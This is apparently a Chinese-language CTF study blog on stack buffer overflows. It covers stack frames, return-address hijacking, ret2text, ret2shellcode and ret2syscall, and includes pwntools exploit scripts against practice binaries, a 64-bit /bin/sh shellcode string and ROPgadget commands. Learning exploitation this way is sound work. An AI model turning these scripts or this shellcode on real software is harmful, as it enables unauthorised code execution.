跟着wood学了一下栈溢出.
思路大概就是用输入时候的漏洞覆盖其他的数值.
下面就从入门到入坟梳理一下栈溢出漏洞.
0x0 栈中变量的存储方式
栈中变量的存储符合先进后出
函数中申请局部变量是在栈内存的.
栈中地址由高地址向低地址生长, 即栈顶是低地址, 栈底是高地址.
数组的存储方式
数组的存储1
int a[10];
定义一个内存大小为10sizeof(int)的int数组a, 那么a的值是数组的首地址, a[i] = (a + i)
ebp esp 寄存器
ebp指向栈底, esp指向栈顶, (ebp esp 在栈内存中是不占用内存的, ebp, esp寄存器用的不是栈内存)
0x1 程序的运行 eip寄存器
程序的汇编中, 代码段和数据段分开储存, 数据段有栈储存(严谨来说内存栈并不在数据段), 代码段没有
在代码栈中, 当运行到第i行时, eip指向第i+1行, eip的跳转可以实现函数的多种功能.
0x2 基础栈溢出
来自ctf-wiki的一些内容
大概就是说, 在读入的时候, 对读入的数据的多少没有限制或者限制不够, 导致读入的数据覆盖到栈中的其他内存, 这样就能达到一些目的.
劫持函数返回地址
函数调用retn问题
用一个小例子来简单的理解一下.
当main函数中调用get_flag函数的时候, 程序做的操作:
1.get_flag 参数从右向左入栈(32位)
比如1
2
3int get_flag(int a, int b) {
return a + b;
}
b先入栈, 然后a入栈.
- 当前eip入栈, 当调用的get_flag函数执行完成后, 会有ret, ret相当于pop eip, 这时候栈顶是原eip的值, 这样程序运行完get_flag后就可以继续运行main函数中的指令.
- 保存原栈底指针ebp的值, ebp指向新的栈底, esp指向当前栈帧底部(原esp不用存, 可算出.)
劫持函数Return Address
利用输入时的漏洞可以可更改函数的返回地址.
从一个简单小例题看看这是什么东西.
我们
可以看到主函数很简单, 读入字符串s, 可以看到没有对s输入的长度进行限制, 我们可以利用这点来更改Return Address的值.
经过观察, 我们只要调用这个fun函数, 我们就能获得服务器的控制权.
看一下fun函数的地址, 将光标移到fun上后按tab键可出现该界面
看一下在main函数内存栈中储存的位置, 来算下偏移.
前面的地址是相对ebp的偏移, 其中-0xf处的s是字符数组s的起始地址.
下面0x8位置的r代表return address
我们想要覆盖returnaddress, 那么需要先输入0x8 + 0xf个字符, 然后输入fun函数的地址, 即可运行fun函数.
输入fun函数的地址时需要进行一些操作, 因为直接输入的话会被当做字符直接读入, 这时候我们可以用p64这个pwntools, p64(x)将x拆成由8个字符组成的字符串输出(其中涉及到大小端存储), 具体原理不说了…
类似, p32是拆成4个字符输出.
然后写个脚本做一做就好了.
(需要chmod加权限)
脚本如下:1
2
3
4
5from pwn import *
s = process('./pwn1')
payload = 'a' * 23 + p64(0x401186)
s.sendline(payload)
s.interactive()
对脚本解释一下..
process 是运行pwn1 这个可执行文件, payload是构造的字符串, sendline(payload)是把payload输入到命令行并且在结尾加换行符, interactive() 切换到交互模式.
0x3 Basic ROP
抄ctf-wiki!
二话不说, 就是一通代码段…
ret2text
上面说过, retn 的实际指令是 pop eip, 上面的将return address的值换成 fun函数的地址, 其实是换成了fun函数的起始地址, 但是我们其实并不需要运行完整的fun函数, 我们只需要运行system(‘./bin/sh’)这个语句, 这时候我们查看一下上面的汇编代码, 发现在0x401191的位置调用了system函数, 但是调用system函数的时候需要先考虑system的参数问题, 上一行lea rdi, command是在调整参数, 那么只要把eip指向0x401191对应的指令就行, 注意调用函数时候的参数问题, 需要先把参数调整好再调用system函数.
ret2shellcode
这个东西是在没有system(“./bin/sh”)时候的一种操作.
这种方法需要一段内存它是可写可执行的, 并且我们可以想办法写入.
从ctf-wiki例题开始看.1
2
3
4
5
6
7
8
9
10
11
12int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
发现有gets函数, 可以读入一些东西.
看了一下栈中变量的存储情况发现可以修改栈中的return address.
并且把输入的内容复制到了buf2段, 我们查看一下buf2对应的段.
发现buf2在bss段, 并且有可读可写可执行权限, 那么我们可以先写入shellcode, 然后用任意字符溢出到return address 对应的地址, return address 需要将其更改为buf2对应的地址, 然后就可以运行写入的shellcode获取权限了.
pwntools 工具解释.
shellcraft.sh()获得32位系统上的shellcode.
asm(string)
将string汇编转化为二进制.
ljust补齐, exp.py中为先输入shellcode, 然后补’a’, ‘a’的个数和shellcode的总字节数加起来为112.
脚本.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
附赠64位shellcode一段.
'x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
ret2syscall
我jio的, ctf-wiki上讲的很全很好, 附个链接.
注意的一些事情:
int 0x80我暂且先将其理解为execve这个函数, 先用一些代码片段修改函数参数, 然后再调用int 0x80
- ROPgadget安装.
sudo pip install ropgadget
- 常用用法
ROPgadget —binary filename —string “ /bin/sh”
ROPgadget —binary filename —only “pop|ret” | grep ‘eax’
ROPgadget —binary filename —only ‘int’